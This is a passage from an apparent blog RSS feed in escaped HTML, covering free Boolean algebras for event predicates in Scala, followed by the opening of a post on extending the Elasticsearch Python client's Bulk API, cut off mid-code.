syntax:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;val pred = CookieValue(&amp;quot;foo&amp;quot;, &amp;quot;bar&amp;quot;).point[FreeBool] | URLParam(&amp;quot;_foo&amp;quot;, &amp;quot;bar&amp;quot;) val pred2 = ... val pred3 = ~pred &amp;amp; pred2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;(There is an implicit in oldmonk which is smart enough to turn the &lt;code class=&quot;language-text&quot;&gt;URLParam&lt;/code&gt; object into an &lt;code class=&quot;language-text&quot;&gt;EventPredicate&lt;/code&gt;, but not smart enough to apply to the first one.)&lt;/p&gt; &lt;p&gt;That&apos;s great - we&apos;ve now got a boolean algebra. But how do we use it?&lt;/p&gt; &lt;h3 id=&quot;evaluating-a-predicate&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#evaluating-a-predicate&quot; aria-label=&quot;evaluating a predicate permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Evaluating a predicate&lt;/h3&gt; &lt;p&gt;To evaluate a predicate, we need to use the &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; operation. Recall that the type of &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; is:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def nat[T,X](f: T =&amp;gt; X): FreeBool[T] =&amp;gt; X&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;So to use this, we simply need to define how our function &lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt; operates on &lt;em&gt;individual&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;EventSpec&lt;/code&gt; objects:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def evalEventSpec(evt: Event): (EventSpec =&amp;gt; Boolean) = (e:EventSpec) =&amp;gt; e match { case CookieValue(k, v) =&amp;gt; EventLenses.cookie(k).get(evt).getOrElse(false) case URLMatches(url) =&amp;gt; EventLenses.url.get(evt) == url ... }&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then by the magic of &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt;, we can evaluate predicates:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def evaluateEventPredicate(pred: EventPredicate, event: Event): Boolean = nat(evalEventSpec(event))(pred)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The logic is that &lt;code class=&quot;language-text&quot;&gt;evalEventSpec(event)&lt;/code&gt; has type &lt;code class=&quot;language-text&quot;&gt;EventSpec =&amp;gt; Boolean&lt;/code&gt;. The operation &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; lifts this to a function mapping &lt;code class=&quot;language-text&quot;&gt;EventPredicate =&amp;gt; Boolean&lt;/code&gt;, and then this function is applied to the actual predicate.&lt;/p&gt; &lt;p&gt;Due to the laws of the Free Boolean Algebra, we know that this method must evaluate things correctly. I.e., imagine we had a predicate &lt;code class=&quot;language-text&quot;&gt;a.point[FreeBool] | b.point[FreeBool]&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;By the second law of free Boolean algebras, the homomorphism property, we know that:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;nat(f)(a.point[FreeBool] | b.point[FreeBool]) === nat(f)(a.point[FreeBool]) | nat(f)(b.point[FreeBool])&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;By the first law, we know that:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;nat(f)(a.point[FreeBool]) === f(a) nat(f)(b.point[FreeBool]) === f(b)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Substituting this in yields:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;nat(f)(a.point[FreeBool] | b.point[FreeBool]) === nat(f)(a.point[FreeBool]) | nat(f)(b.point[FreeBool]) === f(a) | f(b)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Thus, the &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; function has faithfully created a way for us to evaluate our predicates.&lt;/p&gt; &lt;h3 id=&quot;translating-predicates&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#translating-predicates&quot; aria-label=&quot;translating predicates permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Translating predicates&lt;/h3&gt; &lt;p&gt;Consider one of our other requirements - we want to build convenience predicates for the user, but we don&apos;t want to duplicate work to evaluate them.&lt;/p&gt; &lt;p&gt;To handle this case, we&apos;d tweak the underlying definition of our predicates a bit:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;sealed trait EventSpec sealed trait PrimitiveEventSpec extends EventSpec case class CookieValue(key: String, value: String) extends PrimitiveEventSpec ... sealed trait CompoundEventSpec extends EventSpec case class GACampaignMatches(source: String,campaign: String)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We&apos;ll approach this problem in two ways. First, we&apos;ll build a &lt;em&gt;translation&lt;/em&gt; layer - a way to translate &lt;code class=&quot;language-text&quot;&gt;FreeBool[EventSpec] =&amp;gt; FreeBool[PrimitiveEventSpec]&lt;/code&gt;. Then we&apos;ll build the &lt;em&gt;evaluation&lt;/em&gt; layer - a way to compute &lt;code class=&quot;language-text&quot;&gt;FreeBool[PrimitiveEventSpec] =&amp;gt; Boolean&lt;/code&gt;. With this structure, we only need to define evaluation on the primitives.&lt;/p&gt; &lt;p&gt;The translation is actually very simple with &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt;. First we define a mapping from &lt;code class=&quot;language-text&quot;&gt;EventSpec =&amp;gt; FreeBool[PrimitiveEventSpec]&lt;/code&gt;, and then we use &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; to lift this function to &lt;code class=&quot;language-text&quot;&gt;FreeBool&lt;/code&gt;:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def primitivizeSpec(es: EventSpec): FreeBool[PrimitiveEventSpec]) = (es: EventSpec) match { case (x: PrimitiveEventSpec) =&amp;gt; x.point[FreeBool] case (c: CompountEventSpec) =&amp;gt; c match { case GACampaignMatches(source, campaign) =&amp;gt; (URLParam(&amp;quot;utm_source&amp;quot;, source) : FreeBool[PrimitiveEventSpec]) &amp;amp; (URLParam(&amp;quot;utm_campaign&amp;quot;, campaign) : FreeBool[PrimitiveEventSpec]) ... } } val primitivize: FreeBool[EventSpec] =&amp;gt; FreeBool[PrimitiveEventSpec] = nat(primitivizeSpec _)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then we would define evaluation the same as above:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def evalPrimitiveEventSpec(evt: Event): (EventSpec =&amp;gt; Boolean) = (e:EventSpec) =&amp;gt; e match { case CookieValue(k, v) =&amp;gt; EventLenses.cookie(k).get(evt).getOrElse(false) case URLMatches(url) =&amp;gt; EventLenses.url.get(evt) == url ... } def evaluatePrimitiveEventPredicate(pred: PrimitiveEventPredicate, event: Event): Boolean = nat(evalPrimitiveEventSpec(event))(pred)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Finally we would define evaluation as:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def evaluateEventPredicate(pred: EventPredicate, event: Event): Boolean = evaluatePrimitiveEventPredicate(primitivize(pred))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;partial-evaluation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#partial-evaluation&quot; aria-label=&quot;partial evaluation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Partial Evaluation&lt;/h3&gt; &lt;p&gt;Another cool trick this approach gives us is partial evaluation. Suppose we gain partial information about a predicate, but it&apos;s incomplete. For instance, we know that &lt;code class=&quot;language-text&quot;&gt;evaluate(a)&lt;/code&gt; should be &lt;code class=&quot;language-text&quot;&gt;True&lt;/code&gt; but we don&apos;t know what &lt;code class=&quot;language-text&quot;&gt;evaluate(b)&lt;/code&gt; should be.&lt;/p&gt; &lt;p&gt;Concretely, suppose we have a function:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def partialEvaluate(e: EventSpec): Option[Boolean] = ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We can then partially evaluate our predicates:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def partiallyEvaluatePredicate(e: EventPredicate) = nat( (e:EventSpec) =&amp;gt; { partialEvaluate(e).fold( e )(x =&amp;gt; { if (x) { True } else { False } }) })&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then, supposing we know &lt;code class=&quot;language-text&quot;&gt;a&lt;/code&gt; to be true but &lt;code class=&quot;language-text&quot;&gt;b&lt;/code&gt; is unknown, this will evaluate to:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;partiallyEvaluatePredicate(a &amp;amp; b) === partialEvaluate(a) &amp;amp; partialEvaluate(b) === True &amp;amp; b === b&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This is useful to us in a variety of cases. Often times we&apos;ll have a predicate which combines information known server side, and other information which is only known in the browser. Partial evaluation lets us compute the server side information, substitute this result in, and have a resulting predicate which depends only on browser-side information.&lt;/p&gt; &lt;p&gt;The browser-side predicate can then be rendered to javascript and evaluated in the browser directly. This is pretty straightforward, in fact:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def evaluateServerSide(e: ServerSideEventSpec): Boolean = ... def browserify(e: EventPredicate): BrowserSideEventPredicate = nat( (e:EventSpec) =&amp;gt; e match { case (b:BrowserSideEventSpec) =&amp;gt; b.point[FreeBool] : BrowserSideEventPredicate case (s:ServerSideEventSpec) =&amp;gt; if (evaluateServerSide(s)) { TruePred : BrowserSideEventPredicate } else { FalsePred : BrowserSideEventPredicate } } )&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h1 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h1&gt; &lt;p&gt;Free objects are a great way to build generalized interpreter patterns. Just as the &lt;code class=&quot;language-text&quot;&gt;FreeMonad&lt;/code&gt; (called simply &lt;code class=&quot;language-text&quot;&gt;Free&lt;/code&gt; in Scalaz) enables one to build generalized stateful computations, abstracting away the actual state, &lt;code class=&quot;language-text&quot;&gt;FreeBool&lt;/code&gt; allows us to build generalized predicates and manipulate them in a straightforward manner.&lt;/p&gt; &lt;p&gt;More generally, if you find yourself re-implementing the same algebraic structure over and over, it might be worth asking yourself if a free version of that algebraic structure exists. If so, you might save yourself a lot of work by using that.&lt;/p&gt; &lt;h1 id=&quot;other-free-objects&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#other-free-objects&quot; aria-label=&quot;other free objects permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Other Free Objects&lt;/h1&gt; &lt;p&gt;One important free object is the &lt;code class=&quot;language-text&quot;&gt;FreeMonoid&lt;/code&gt;. It turns out that the functor &lt;code class=&quot;language-text&quot;&gt;List[_]&lt;/code&gt; is actually a Free Monoid. This can be shown by defining &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; for a list:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def nat[A,B](f: A=&amp;gt;B)(implicit m: Monoid[B]): (List[A] =&amp;gt; B) = (l: List[A]) =&amp;gt; l.map(f).reduce((x,y) =&amp;gt; m.append(x,y))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Essentially, the natural transformation consists of taking each element of the list, applying the function &lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt; to it, and then appending the elements.&lt;/p&gt; &lt;p&gt;A somewhat more interesting free algebra is the &lt;code class=&quot;language-text&quot;&gt;FreeGroup&lt;/code&gt;. A &lt;code class=&quot;language-text&quot;&gt;Group&lt;/code&gt; is a &lt;code class=&quot;language-text&quot;&gt;Monoid&lt;/code&gt;, but with an additional operation - inversion. Inversion - denoted by &lt;code class=&quot;language-text&quot;&gt;~x&lt;/code&gt; - has the important property that for any &lt;code class=&quot;language-text&quot;&gt;x&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;(~x) |+| x = zero&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;x |+| (~x) = zero&lt;/code&gt;. I.e., appending two elements together can always be undone by appending a new element.&lt;/p&gt; &lt;p&gt;For an example of a group, consider the integers - &lt;code class=&quot;language-text&quot;&gt;x |+| y = x + y&lt;/code&gt;, and &lt;code class=&quot;language-text&quot;&gt;~x = -x&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;The type &lt;code class=&quot;language-text&quot;&gt;FreeGroup[A] then consists essentially of a&lt;/code&gt;List[A]&lt;code class=&quot;language-text&quot;&gt;, with the caveat that&lt;/code&gt;a&lt;code class=&quot;language-text&quot;&gt;and&lt;/code&gt;~a` cannot occur adjacent to each other in the list.&lt;/p&gt; &lt;p&gt;Similarly, a &lt;code class=&quot;language-text&quot;&gt;FreeMonad&lt;/code&gt; is a way of taking any &lt;code class=&quot;language-text&quot;&gt;Functor&lt;/code&gt; and getting an abstract monad out of it. This is implemented &lt;a href=&quot;https://github.com/scalaz/scalaz/blob/series/7.2.x/core/src/main/scala/scalaz/Free.scala&quot;&gt;in scalaz&lt;/a&gt;, so the naming is a little different. Given an object &lt;code class=&quot;language-text&quot;&gt;x: Free[S,A]&lt;/code&gt; (for &lt;code class=&quot;language-text&quot;&gt;S[_]&lt;/code&gt; a &lt;code class=&quot;language-text&quot;&gt;Functor&lt;/code&gt;), &lt;code class=&quot;language-text&quot;&gt;x&lt;/code&gt; has the method &lt;code class=&quot;language-text&quot;&gt;foldMap[M[_]](f: S ~&amp;gt; M)(implicit M: Monad[M]): M[A]&lt;/code&gt;. This method implements the natural transformation. In the language we are using here, we could define &lt;code class=&quot;language-text&quot;&gt;nat&lt;/code&gt; as follows:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;def nat[S,M,A](f: S[A] =&amp;gt; M[A])(implicit m: Monad[M]): (Free[S,A] =&amp;gt; M[A]) = (x:Free[S,A]) =&amp;gt; x.foldMap(f)(m)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;As an illustrated example of how free monads work, &lt;a href=&quot;http://polygonalhell.blogspot.com/2014/12/scalaz-getting-to-grips-free-monad.html&quot;&gt;this article&lt;/a&gt; discusses how to represent a Forth-like DSL with the &lt;code class=&quot;language-text&quot;&gt;FreeMonad&lt;/code&gt; and then interpret it via a mapping from &lt;code class=&quot;language-text&quot;&gt;Free =&amp;gt; State&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://eed3si9n.com/learning-scalaz/Free+Monad.html&quot;&gt;Free Monad&lt;/a&gt;. &lt;a href=&quot;http://underscore.io/blog/posts/2015/04/14/free-monads-are-simple.html&quot;&gt;Free Monads are Simple&lt;/a&gt; &lt;a href=&quot;http://underscore.io/blog/posts/2015/04/23/deriving-the-free-monad.html&quot;&gt;Deriving the Free Monad&lt;/a&gt;&lt;/p&gt;</content:encoded><author>Chris Stucchio</author></item><item><title><![CDATA[SuperElasticsearch - More Python goodness in elasticsearch-py]]></title><description><![CDATA[We have been using Elasticsearch for storing analytics data. This data stored in Elasticsearch is used in the Post Report Segmentation…]]></description><link>https://engineering.wingify.com//posts/superlelasticsearch/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/superlelasticsearch/</guid><pubDate>Wed, 07 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We have been using &lt;a href=&quot;https://www.elastic.co/products/elasticsearch&quot;&gt;Elasticsearch&lt;/a&gt; for &lt;a href=&quot;http://engineering.wingify.com/posts/elasticsearch-for-analytics/&quot;&gt;storing analytics data&lt;/a&gt;. This data stored in Elasticsearch is used in the Post Report Segmentation feature in VWO. So the amount of data getting stored in Elasticsearch is tied up to the number of campaigns currently being run by our customers. And often we need to have custom tooling to work with this data and the requirements of such tooling are also not common. This blog post is about how we solved some issues by building some missing blocks in the &lt;a href=&quot;https://github.com/elastic/elasticsearch-py&quot;&gt;Official Elasticsearch Python&lt;/a&gt; client while working on this project.&lt;/p&gt; &lt;p&gt;The code base where implementation of this feature (Post Report Segmentation) lies is all written in Python. When we were starting out, we had to decide which client to use because there were many out there. Eliminating some was really easy because they were tied to certain frameworks like &lt;a href=&quot;http://www.tornadoweb.org/en/stable/guide.html&quot;&gt;Tornado&lt;/a&gt; and &lt;a href=&quot;https://twistedmatrix.com/trac/&quot;&gt;Twisted&lt;/a&gt;. And we were not sure which path to take initially so we decided to keep things simple, avoid early optimization and not use any of these framework heavily dependent on Non-Blocking IO. If we needed any of that later, Gevent could be put to use (in fact that’s exactly what we did). Even for the simpler way there were quite a few options. The deciding factors for us were:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Maintenance commitment from the author&lt;/li&gt; &lt;li&gt;Un-opinionated&lt;/li&gt; &lt;li&gt;Simple design&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Considering all these factors, we decided to go with the Official Python Client for Elasticsearch. And we didn&apos;t really come across any issues and problems according to our simple requirements. It is fairly extensible and comes with some standard batteries included with it. For everything else, you can extend it - thanks to its simple design.&lt;/p&gt; &lt;p&gt;It worked well for a while until we had to add some internal tooling where we needed to work a lot with Elasticsearch&apos;s &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-scroll.html&quot;&gt;Scroll API&lt;/a&gt; and &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/1.4/docs-bulk.html&quot;&gt;Bulk APIs&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;bulk-api&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#bulk-api&quot; aria-label=&quot;bulk api permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Bulk API&lt;/h2&gt; &lt;p&gt;Elasticsearch&apos;s Bulk API lets you club together multiple individual API calls into one. This is used a lot in speeding up indexing and can be very useful if you are doing a lot of write operations in Elasticsearch.&lt;/p&gt; &lt;p&gt;The way you work with Bulk APIs is that you construct a different kind of request body for bulk requests and use the client for sending that request data. The HTTP API that Elasticsearch exposes for bulk operations is semantically different than the API for individual operations.&lt;/p&gt; &lt;p&gt;Consider this. If you were to index a new document, update an existing document and delete another existing document in Elasticsearch, you can do it like so:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; elasticsearch &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Elasticsearch client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Elasticsearch&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hosts&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;localhost:9200&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key1&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;val1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_index_3&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; doc_type&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;test_doc_type&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;456&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;script&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;ctx._source.count += count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;params&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;count&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token 